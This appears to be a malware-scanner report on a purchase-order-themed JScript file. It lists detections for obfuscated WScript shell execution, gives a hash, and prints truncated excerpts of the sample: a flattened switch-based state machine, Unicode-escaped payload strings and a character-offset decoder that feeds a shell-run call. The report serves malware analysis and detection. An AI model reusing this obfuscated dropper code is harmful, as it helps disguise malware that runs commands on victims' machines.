REVISED PO-4701006574 New.js
Obfuscated WScript shell execution
Dynamic property access on WScript objectEscaped Unicode script codepoint in source
SHA-256c4bd38bf31e4f4f83349759657d120687a9a664153b2bf0dadb329dc138f2693
MaleculeO(As)H₂(DbPo)Md
Evidence
1var WXp=2835;
2while(WXp!=806612){
3switch(WXp){
4case 628008:bBKF+="\u0737\u0743\u0732\u0729\u0736\u0735\u072b\u074a\u074d\u0727\u0713\u072d\u0739\u0758\u0743\u0721";bBKF+="\u0752\u074d\u074f\u0753\u073 …
95:27… u0749\u0738";WXp=536991;break;
96case 239783:var JIyo="\u041d\u0430\u0735";break;
97case 424848:E7O4[EQUa(EMVpBC)](EQUa(Ywhp7),0,true);WXp=806612;break;
98case 717727:NZd+="\u0732\u0743\u0723\u0723\u0746\u0748\u0726\u075a\u070b\u072b\u074c\u0756\u0749";NZd+="\u07 …
277:919… 731\u0718\u072e\u0734\u0744";WXp=147886;break;
278case 886563:var xHer3="\u5ba2\u6237\u95e8\u6237\u7b80\u4f53\u4e2d\u6587\u8d44\u6e90";break;
279case 898302:XjMZx+="\u0722\u074d\u0712\u0758\u0750\u072 …
609:603… e\u072d\u074e\u0755\u0724\u0751";WXp=235091;break;
610case 676514:var EQUa=function(s){var Ifv=[],iG;for(iG=0;iG<s.length;iG++)Ifv.push(U7fYP.charAt(s.charCodeAt(iG)-1792));return Ifv.join("")};WXp=45704;break;
611case 478030:Nflw+="\u0736\u072a\u0746\u0710\u0747\u074f\u0758\u0756\u0753";Nflw+="\u0736\u074f\u0756\u0741\u0719\u0728\u0715\u0751\u0756\u070f\u072b";Nflw+="\u0712\u0734\u0726\u0716\u072d\u0711\u0747\u0738\u0738\u0718\u072f\u0753\u0722\u072c\u0717";Nflw+="\u0758\u0757\u0718\u074e\u070b\u074f\u0744\u0742\u074f";Nflw+="\u0755\u0729\u0725\u0714\u0739\u0718\u0752\u0742\u0711\u0748\u0727\u0726\u0748\u074a";Nflw+="\u072a\u0730\u0732\u0753\u0714\u0745\u0723\u0757\u0746";Nflw+=" …
1391:955… 0757\u0727\u0716\u0719\u0743\u0717\u072c\u0716";WXp=701418;break;
1392case 300262:eMhBT(EQUa(J91))=WScript[EQUa(Ma1Pab)];WXp=177972;break;
1393case 486411:VXunVY+="\u0753\u0755";VXunVY+="\u0713\u0757";VXunVY+="\u0758\u0733";WXp=33542;break;
1394case 864816:BlH2bF+="\u0710\u0752\u0718\u0741\u0756\u070b\u0 …